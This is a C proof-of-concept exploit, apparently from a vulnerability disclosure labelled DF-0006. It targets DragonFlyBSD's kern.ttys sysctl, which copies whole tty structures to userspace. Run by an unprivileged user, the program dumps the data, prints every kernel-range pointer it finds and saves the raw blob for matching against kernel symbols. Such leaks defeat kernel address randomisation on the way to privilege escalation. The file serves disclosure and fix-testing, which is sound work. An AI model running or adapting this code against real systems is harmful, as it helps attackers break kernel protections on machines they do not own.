DF-0006 / leak_ttys.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | /* * DF-0006 PoC - kern.ttys sysctl leaks kernel function/heap pointers. * * sysctl_kern_ttys() (sys/kern/tty.c:2891-2921) copies each struct tty * verbatim to userspace: * t = *tp; // tty.c:2911 (whole struct) * if (t.t_dev) t.t_dev = devid_from_dev(..); // only t_dev sanitized * SYSCTL_OUT(req, &t, sizeof(t)); // tty.c:2914 * * struct tty (sys/sys/tty.h) embeds: * - kernel .text function pointers t_oproc / t_stop / t_param / t_unhold * (for ptys these resolve to ptsstart/ptsstop/ptsunhold in tty_pty.c) * - kernel heap object pointers t_pgrp / t_session / t_sigio / t_sc / * t_slsc * - per-clist data buffer pointers t_rawq.c_data / t_canq.c_data / * t_outq.c_data * - an embedded lwkt_token t_token * Only t_dev is rewritten before copyout, so ALL of the above are leaked. * The OID is CTLTYPE_OPAQUE|CTLFLAG_RD (tty.c:2923-2924) and sysctl reads * are NOT privilege-gated (kern_sysctl.c:1446-1450 only checks writes), so * any unprivileged local user can dump them. * * This PoC reads the blob, scans it for pointer-sized values that live in * the amd64 kernel address space (canonical upper half), prints them, and * also dumps the raw blob to ttys.bin so the leaked function pointers can * be cross-referenced against `nm /boot/kernel/kernel` offline. * * Build (DragonFlyBSD amd64): cc -o leak_ttys leak_ttys.c * Run as an UNPRIVILEGED user: ./leak_ttys * * Expected (bug present): prints many kernel-range pointers and exits 0. * On a fixed kernel: no kernel-range pointers, exits 2. */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> /* * amd64 canonical kernel addresses: bit 47 set, bits 48..63 all set, i.e. * the whole upper half [0xffff800000000000 .. 0xffffffffffffffff]. * DragonFly maps kernel .text near 0xffffffff80000000 and the direct-map * (kmalloc heap) near 0xffff800000000000, so both ranges are covered. */ static int looks_like_kaddr(uint64_t v) { return (v >= 0xffff800000000000ULL); } int main(void) { void *buf = NULL; size_t len = 0; int r; r = sysctlbyname("kern.ttys", NULL, &len, NULL, 0); if (r != 0) { perror("sysctlbyname(getlen) kern.ttys"); return 1; } if (len == 0) { printf("kern.ttys returned 0 bytes (no ttys registered)\n"); return 0; } buf = malloc(len); if (buf == NULL) { perror("malloc"); return 1; } r = sysctlbyname("kern.ttys", buf, &len, NULL, 0); if (r != 0) { perror("sysctlbyname(get) kern.ttys"); free(buf); return 1; } printf("got %zu bytes from kern.ttys\n", len); /* Dump the raw blob for offline nm cross-reference. */ { FILE *fp = fopen("ttys.bin", "wb"); if (fp) { if (fwrite(buf, 1, len, fp) != len) perror("fwrite ttys.bin"); fclose(fp); printf("raw blob written to ttys.bin (%zu bytes)\n", len); } else { perror("fopen ttys.bin"); } } /* Scan the whole blob at every 8-byte aligned stride for kernel ptrs. */ const uint64_t *p = (const uint64_t *)buf; size_t n = len / sizeof(*p); size_t leaked = 0; for (size_t i = 0; i < n; i++) { if (looks_like_kaddr(p[i])) { if (leaked < 60) /* cap printed output */ printf(" blob offset %5zu (word %4zu): 0x%016llx\n", (size_t)(i * sizeof(*p)), i, (unsigned long long)p[i]); leaked++; } } printf("total kernel-range pointer-sized values leaked: %zu\n", leaked); free(buf); return (leaked > 0) ? 0 : 2; } |